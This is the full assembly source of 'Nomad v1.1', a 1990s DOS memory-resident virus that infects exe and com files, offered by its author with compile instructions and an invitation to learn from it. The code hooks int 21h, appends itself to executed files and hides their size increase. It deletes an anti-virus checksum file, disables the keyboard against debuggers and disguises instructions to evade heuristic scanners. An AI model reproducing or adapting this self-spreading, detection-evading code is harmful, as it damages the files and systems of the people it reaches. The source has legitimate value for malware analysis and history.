; : ÖÄÄùú : ÖÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ· : úùÄÄÄ· : ; ÈÄ : ÈÄÄÄÄÄÄÄÄùú : [ Nomad v1.1 by SeptiC ] : úùÄÄÄÄÄÄļ : ļ ; ù ÓÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĽ Started 98/12/XX ; ù ** Resident Semi-stealth exe/com infector ** ù ; ù ù ; ú This is the second version of the virus, but actualy there ú ; have been several versions but only this and the first has ; been released. It's kind of an experimental virus of mine ; I learned a lot while coding it, and that was the whole point. ; So now it's your turn, maybe you could learn something from ; this source. The virus itself is not very originaly that's ; because I was still learning while I wrote it, later viruses ; of mine might be more pioneering. As I said you won't find ; any new raving technics, just plain old school. ; ; Infection : ; The virus infects exe/com files on execute (4bh). It infects ; the file in normal appending manner, no mid-file infection here... ; I could note that it marks the second field of the infected files ; as an stealth marker (58 sek) ; ; Stealth : ; Semi-Stealth, it hides the size increase in dos systems (not win95). ; I think there is some ways to hide it in win95 aswell but as I said ; this was an learning experience of mine. It stealth on 11h, 12h ; and 4eh, 4fh (all int21h). ; ; Retro : ; The virus deletes the anti-vir.dat in the starting directory ; of the infected file. I was going to add anti-virus program ; recognization but I realized that sft doesn't work in win95 ; (thanks darkman for that info! ;)) So I'll add the working ; stuff in a later version. ; ; Armor : ; The avarage dissembler might have an hard time going through the ; code (hopefully). It contains several anti-debuging tricks ; like turning the keyboard off, "endless loops" and some other ; tricks. ; ; What to come in later versions: ; ; * Infection of Enun-Com files (directly of win.com so it will allways ; will be resident. ; * Strong encyption or Oligomorphic or even Polymorphic. ; * Infection on close/open/set/change attributes ; * Maybe Mbr/bs infection ; ; Special thanks : ; As this was an learning experience, I would like to thank ; the people who have help me and written very nice tutoials/viruses ; ; 1. Billy Belcebu - Your virus writing tutorial rocks! :)) ; "Don't fear the eyes of the dark lord" /BG ; 2. Codebreakers - I like your attitude and your ; tutorials is easy to learn. ; 3. Vecna, Griyo - Mostly your code are far above me, ; but they inspired me in keep on writing. ; 4. T-2000 - Thanks for debuging and help. Soulfly ; is great and fearfactory ;)) ; 5. Techno Phunc - For giving me advice. ; I'll add that infection on close/open later ;) ; 6. Darkman - Thanks for giving me a second chance. ; ; Compile : Tasm /m2 nomad.asm, Tlink nomad.obj ; Execute : nomad, or dubbelclick in explorer (but it won't spread) ;) ;ÖÄùú : :úùÄ· ;: ÈÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄļ : ;ÖÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄùú úùÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ· ;: Greetz : : ;ú Billy_Bel, Darkman, Techno_Phunc, Urgo32, Vecna, Veedee, Simon7 ú ;ú Flitnic, Lord_Arz, Virus-X, Owl, T-2000, Griyo, Opic, Serial Killer ú ;ù : ;ÈÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄùú úùÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄļ travel segment assume cs:travel, ds:travel, es:travel .286 jumps ; popa and pusha is used org 00h ; First generation is exe file first_gen: start: push ds ; push ds to stack push cs ; push cs (codesegment) twise push cs ; pop ds ; ds=cs pop es ; es=cs mov cx,0ffffh ; times to loop fuck_tbclean: ; jmp eternal ; It will take quite some time mov ax,4c00h ; too get through all the loops in this int 21h ; code through debug >:) eternal: ; Some anti-virus utils doesn't like it eighter, int 3h ; like for instance Tbclean loop fuck_tbclean ; neg sp neg sp call get_delta ; Get the delta offset in al,21h ; or al,02h ; Dissable Keyboard, huh... out 21h,al ; int 3h call delete_crc ; Delete the Tbav crc file in current directory mov ah,2ch ; Get random value int 21h cmp dl,6 ; Is it bigger than six? ja dorm ; If so skipp payload mov ah,9h ; Print message lea dx,[bp+msg] ; load into dx int 21h dorm: push 6660h ; are we there?........ pop ax int 21h cmp bx,'TI' ; je restore ; Yeah, allready resident, restore control back to host. pop ds ; push ds ; Save psp on stack mov bx,ds ; Use bx instead of DS dec bx ; bx = MCB mov ds,bx ; values from bx (mcb position) into -> DS sub word ptr ds:[03h], (travel_end - start+15)/16+1 ; substract virus size sub word ptr ds:[12h], (travel_end - start+15)/16+1 ; substract virus size mov bx,ds:[12h] mov ds,bx inc bx mov es,bx mov ax, 1600h int 2fh or al,al jnz windowz mov byte ptr ds:[00h], 'Z' ; end in Mcb chain windowz: mov word ptr ds:[01h], 08h mov word ptr ds:[03h], (travel_end - start+15)/16 push cs ; Adjust segments pop ds ; CS = DS xor di,di ; DI = 0 ( Top Of Memory ) mov si,bp ; SI = offset of the virus in file mov cx,travel_end - start ; CX = the virus body (size) rep movsb ; Move bytes from DS:SI to ES:DI xor ax,ax mov ds,ax ;mov value in ax to ds (empty) mov ax,es ;Move value in es into ax mov bx,new_int21h-start ;our new int 21h handler cli ; dissable interrupt calls xchg bx,word ptr ds:[21h*4] ; xchg ax,word ptr ds:[21h*4+2] ; mov word ptr es:[old_int21h-start],bx ; save old int 21h mov word ptr es:[old_int21h+2-start],ax ; save old int 21h sti ; enable interrupt calls push cs ; push cs ; pop ds ; ds=cs pop es ; es=cs restore: in al,21h ; and al,not 2 ; Thanks Billy_Bel out 21h,al ; for your excellent ; tutorial ;) int 3h ; Just for Fun :) cmp byte ptr [whatami+bp],1 ; are we in com file? jne Restore_EXE ; Nope we are in exe restore_com: mov cx,4 ; bytes to read lea si,[bp+saved] ; location of original bytes push 100h ; antiheur... point 100h to di pop di ; rep movsb ; move 4 bytes into 100h (restore com) push 100h ;antiheur... point 100h to di pop di ; Jmp short $+2 push di ; Push di to stack ret ; return... Now com file is restored ; (in memory) restore_Exe: lea si,[bp+old_ip] ; stored ip lea di,[bp+original_ip] ; load the old ip into di mov cx,4 ; 4 bytes... rep movsw ; move it! pop ds ; restore the psp mov ax,ds ; ds into ax mov es,ax ; ax into es (ES=DS) add ax,10h ; add 10h to ax add word ptr cs:[bp+original_cs],ax ; restore old cs cli add ax,word ptr cs:[bp+original_ss] ; restore old ss mov ss,ax mov sp,word ptr cs:[bp+original_sp] ; restore old sp sti Jmp short $+2 db 0eah ; Exe restoration complete original_ip dw ? original_cs dw ? original_ss dw ? original_sp dw ? new_int21h: cmp ax,6660h je show_res xchg ah,al ; antiheur... cmp al,4bh ; Is it a execute? xchg ah,al ; antiheur... jne check_dir jmp infect check_dir: xchg ah,al ; antiheur... cmp al,11h ; this is a part of viral xchg ah,al ; antiheur... je dir_stealth xchg ah,al ; antiheur... cmp al,12h xchg ah,al ; antiheur... je dir_stealth xchg ah,al ; antiheur... cmp al,4eh ;or function 4eh, 4fh xchg ah,al ; antiheur... je dir_stealth_2 xchg ah,al ; antiheur... cmp al,4fh xchg ah,al ; antiheur... je dir_stealth_2 return: db 0eah ; return from int 21h old_int21h dd ? ; old int 21h show_res: push 'TI' ; allready in!!!! pop bx iret ; return from int 21h dir_stealth: pushf ;simulate a int call with pushf push cs ;and cs, ip on the stack call return or al,al ;was the dir call sucessfull?? jnz skip_dir ;if not skip it push ax bx es ;preserve registers in use mov ah,62h ;same as 51h - get current PSP to es:bx int 21h mov es,bx cmp bx,es:[16h] ;is the PSP ok?? jnz bad_psp ;if not quit mov bx,dx mov al,[bx] ;al holds current drive - FFh means push ax ;extended FCB mov ah,2fh ;get DTA-area int 21h pop ax inc al ;is it an extended FCB jnz no_ext add bx,7 ;if so add 7 no_ext: mov al,byte ptr es:[bx+17h] ;get seconds field and al,1fh xor al,1dh ;is the file infected?? jnz no_stealth ;if not - don't hide size cmp word ptr es:[bx+1dh],(travel_end-start) ja hide_it cmp word ptr es:[bx+1fh],0 ;it can't be infected je no_stealth ;so don't hide it hide_it: sub word ptr es:[bx+1dh],(travel_end-start) sbb word ptr es:[bx+1fh],0 no_stealth: bad_psp: pop es bx ax ;restore regs skip_dir: iret ;return to program dir_stealth_2: pushf ;simulate a int call - push flags, cs and push cs ;ip on stack and jump to int handler call return jc eofs ;if no more files - return push ax es bx ;preserve registers mov ah,2fh ;get DTA-area int 21h mov ax,es:[bx+16h] and ax,1fh ;is the PSP ok?? xor al,29 jnz not_inf ; if not - jmp cmp word ptr es:[bx+1ah],(travel_end-start) ja sub_it cmp word ptr es:[bx+1ch],0 je not_inf sub_it: sub word ptr es:[bx+1ah],(travel_end-start) sbb word ptr es:[bx+1ch],0 not_inf: pop bx es ax ;restore registers eofs: retf 2 ;return and pop 2 of stack infect: pusha ; push all registers push ds push es call tsr_delta ; This is totaly uneccesary :) ; Just a waste of space, but didn't ; want to rewrite fullyworking ; rutines :) mov ax,3d02h ; Open it for read write int 21h ; yeah! jc exit ; On error exit! (cheap error handler ;)) xchg ax,bx ; File handler better in bx push cs ; Push cs twise!!! push cs ; pop ds ; CS=DS=ES pop es push 5700h ; Basic "stealth" pop ax ; save the date and time... int 21h ; push dx push cx mov ah,3fh ; read some bytes... mov cx,1ah ; lea dx,[bp+header] ; store it here... int 21h ; cmp byte ptr [header+bp],'M' ; check if exe je exe_inf ; yeah, it's exe cmp byte ptr [header+bp+1],'Z' ; same as above je exe_inf ; yupps, it's exe jmp com_inf ; OK then it must be a com file exe_inf: mov byte ptr [whatami+bp],0 ; remember your roots ;) cmp word ptr cs:[bp+header+12h],'V' ; Check for infection mark in exeheader je close ; Darn! It was infected. call save_header ; Save the CS:IP and SS:SP etc etc mov ax,4202h ; Goto end of file xor cx,cx ; cwd ; xor dx,dx int 21h ; push ax ; Save file size push dx mov cx,16 ; Turn from bytes to paras div cx ; sub ax,word ptr cs:[bp+header+8] ; substract exe header size mov word ptr cs:[bp+header+14h],dx ; New instruction pointer mov word ptr cs:[bp+header+16h],ax ; change segment correction for CS mov word ptr cs:[bp+header+10h],0fffeh ; Change stack. pop dx ; restore file size pop ax add ax,travel_end - start ; Add virus size to it adc dx,0 ; mov cx,512 ; Turn into pages (512 bytes clusters) div cx ; cmp dx,0 ; Check if reminder exist je no_remainder inc ax no_remainder: mov word ptr cs:[bp+header+4],ax ; New program lenght mov word ptr cs:[bp+header+2],dx ; Set new Partpage mov al,3eh ; Write the virus to the end of file. add al,2 ; Anti-heuristic look ;) xchg ah,al ; lea dx,[bp+start] ; Start of virus mov cx,travel_end - start ; Virus size int 21h ; mov ax,4200h ; Goto beginning of file xor cx,cx ; cwd ; xor dx,dx int 21h ; mov al,3eh ; Write the new virus header add al,2 xchg ah,al lea dx,[bp+header] mov cx,1ch int 21h close: push 5701h ; restore time date pop ax ; also anti-heuristic pop cx pop dx or cl,00011101b and cl,11111101b int 21h mov al,3ch ; Close file add al,2 xchg al,ah int 21h exit: pop es ; The values in ES and DS was pushed in pop ds ; the start of the infection rutine popa ; restore all registers jmp return com_inf: mov cx,4 ; Get only the first 4 bytes of the shit saved lea di,[saved+bp] ; earlier.... lea si,[header+bp] rep movsb call check_com ; Check for infection markeer jc close_com ; Return error flag.... Already infected mov byte ptr [whatami+bp],1 ; Remember that you are Com.. mov ax,4202h ; Goto end of file xor cx,cx cwd int 21h sub ax,3 ; Remove three bytes from file size mov word ptr [bp+newjump+1],ax ; Insert this value into Newjump ; (this is where the virus, mov ax,4200h ; will be located in the file) xor cx,cx ; Goto beginning of file cwd int 21h mov al,3eh add al,2 xchg ah,al lea dx,[bp+newjump] ; Write the jump! mov cx,4 int 21h mov ax,4202h ; Back to end of file! xor cx,cx cwd int 21h mov al,3eh add al,2 xchg ah,al lea dx,[bp+start] ; Write virus body! mov cx,travel_end-start int 21h close_com: push 5701h ; Restore time date pop ax pop cx pop dx or cl,00011101b and cl,11111101b int 21h mov al,3ch ; Close file add al,2 xchg al,ah int 21h jmp exit Check_com: cmp byte ptr [saved+bp+3],'V' ; Check if already infected je Is_Infected clc ; no error flag set ret Is_Infected: stc ; error flag set! ret Get_delta: call next next: mov di,sp ; Waste-of-space-but-undetected-way-of-getting-delta mov sp,di ; -offset! mov di,sp ; mov bp, word ptr ss:[di] sub bp, offset next inc sp inc sp ret delete_crc: mov al,3eh add al,3 xchg ah,al lea dx,[tbav_crc+bp] ; Delete this one :) int 21h ret tbav_crc db 'anti-vir.dat',00h not_start: tsr_delta: call tsr_do tsr_do: mov di,sp ; This is just a WASTE of bytes, but who cares ;) mov sp,di mov di,sp mov bp, word ptr ss:[di] sub bp, offset tsr_do inc sp inc sp ret save_header: ; Mark header (V) ; and save some old stuff mov word ptr cs:[bp+header+12h],'V' mov ax,word ptr cs:[bp+header+14h] mov word ptr cs:[bp+old_ip],ax mov ax,word ptr cs:[bp+header+16h] mov word ptr cs:[bp+old_cs],ax mov ax,word ptr cs:[bp+header+0eh] mov word ptr cs:[bp+old_ss],ax mov ax,word ptr cs:[bp+header+10h] mov word ptr cs:[bp+old_sp],ax ret msg db 10,13,10,13 db ' ÖÄÄÄÄÄùú[Nomad By SeptiC]úùÄÄÄÄÄÄ·',10,13 db ' : Travling through the time, :',10,13 db ' ù Moving slowly in your files, ù',10,13 db ' ú Knowledge is the weapon, ú',10,13 db ' : That makes my travel fast. :',10,13 db ' ÈÄÄÄÄÄùú [-Nomad v 1.1-] úùÄÄÄÄÄļ',10,13,'$' header db 1ch dup(?) whatami db 0 saved db 0cdh,20h,0,0 newjump db 0e9h,0,0,'V' not_end: old_ip dw offset exit_prog old_cs dw 0 old_ss dw 0 old_sp dw 0fffeh travel_end: exit_prog: mov ax,4c00h int 21h travel ends end first_gen